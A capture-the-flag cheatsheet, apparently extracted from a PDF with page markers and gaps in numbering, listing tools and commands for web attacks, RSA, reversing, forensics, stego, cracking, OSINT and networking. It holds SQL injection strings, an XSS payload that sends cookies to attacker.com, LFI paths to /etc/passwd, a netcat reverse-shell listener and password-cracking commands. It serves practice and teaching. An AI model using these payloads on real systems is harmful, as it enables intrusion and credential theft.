CTF Master Cheatsheet: Table of Contents Page
CTF Master Cheatsheet: Table of Contents Page
Cryptography --------------------------------------------------------- 02
Reverse Engineering ------------------------------------------------- 03
OSINT ------------------------------------------------------------------ 06
Networking ------------------------------------------------------------ 07
Scripting --------------------------------------------------------------- 07
Miscellaneous --------------------------------------------------------- 07
Tools
Tool Purpose Command Example
Burp Suite Intercept/modify HTTP burpsuite (GUI)
traffic
sqlmap Automated SQL sqlmap -u
injection "http://site.com?id=1" --dbs
ffuf Directory fuzzing ffuf -w wordlist.txt -u
http://site.com/FUZZ
Wappalyzer Detect web Browser extension
technologies
Common Attacks
1. SQL Injection (SQLi)
Union-Based:
' UNION SELECT 1,2,group_concat(table_name) FROM
information_schema.tables-- -
Blind SQLi (Time-Based):
' OR IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -
2. Cross-Site Scripting (XSS)
Stored XSS:
<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>
DOM XSS:
<img src=x onerror=alert(1)>
1|Page
3. Local File Inclusion (LFI)
Basic LFI:
/etc/passwd
../../../../etc/passwd
PHP Wrappers:
?page=php://filter/convert.base64-encode/resource=index.php
RSA Attacks
Attack Type Tool/Command
Small e (e=3) rsactftool.py -n <n> -e 3 --uncipher
<ciphertext>
Chinese Remainder Theorem python3 -m sage -- crt.sage (Multiple
n and c)
FactorDB factordb.com (Factorize n)
2|Page
3. Reverse Engineering & Binary Analysis
Disassembly/Decompilation
Tool Use Case
Ghidra Decompile binaries (GUI)
radare2 r2 -d ./binary (CLI analysis)
IDA Pro Advanced disassembly (Commercial)
Hopper macOS disassembler
Dynamic Analysis
gdb (With plugins):
gdb ./binary
> break *main+0x10
> run
> info registers
ltrace/strace:
ltrace ./binary # Library calls
strace ./binary # System calls
3|Page
iv. Shellcode Execution:
from pwn import *
payload = b"A"*72 + p64(0xdeadbeef)
ROP Chains
i. Find Gadgets:
ROPgadget --binary ./binary \| grep "pop rdi"
4|Page
Memory/Disk Forensics
• Volatility (Memory analysis):
o volatility -f memory.dump imageinfo
o volatility --profile=Win7SP1 pslist
• Autopsy (GUI-based disk analysis)
• photorec (Recover deleted files): photorec /dev/sdX
6. Audio/Steganography
Tools
Tool Command/Use Case
Audacity Analyze spectrograms (View →
Spectrogram)
Sonic Visualizer Detect hidden tones/patterns
multimon-ng Decode DTMF/Morse: multimon-ng
-a DTMF -t wav audio.wav
5|Page
Stego Techniques
LSB Steganography: zsteg -a image.png
JSteg: jsteg reveal image.jpg
7. Archive/File Cracking
Password Cracking
Tool Command
John the Ripper john --format=zip hash.txt
fcrackzip fcrackzip -u -D -p rockyou.txt
archive.zip
pdfcrack pdfcrack -f file.pdf -w rockyou.txt
Zip Analysis
• zipinfo: zipinfo -v archive.zip
• zipdetails: zipdetails -v archive.zip
8. OSINT
Open-source intelligence gathering.
Google Dorks
site:target.com inurl:admin
intitle:"index of" "parent directory"
filetype:pdf "confidential"
Image Metadata
exiftool photo.jpg \| grep "Camera"
6|Page
9. Networking
Port scanning, traffic analysis.
Nmap Scans
nmap -sV -sC -p- -T4 target.com # Full port scan
nmap --script vuln target.com # Vulnerability scan
Netcat (Swiss Army Knife)
nc -lvnp 4444 # Listen for reverse shell
nc target.com 80 # Manual HTTP request
10. Scripting
Python/Bash one-liners for CTFs.
Python Snippets
# XOR Decryption
key = "SECRET"
data = bytes([data[i] ^ ord(key[i%len(key)]) for i in range(len(data))])
Bash Automation
for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip \| grep "bytes from"; done
11. Miscellaneous
File Analysis
xxd -g1 file.bin # Hex dump
file mystery # Detect file type
Encoding/Decoding
echo "flag" \| base64 # Encode to Base64
echo "666C6167" \| xxd -r -p # Hex to ASCII
7|Page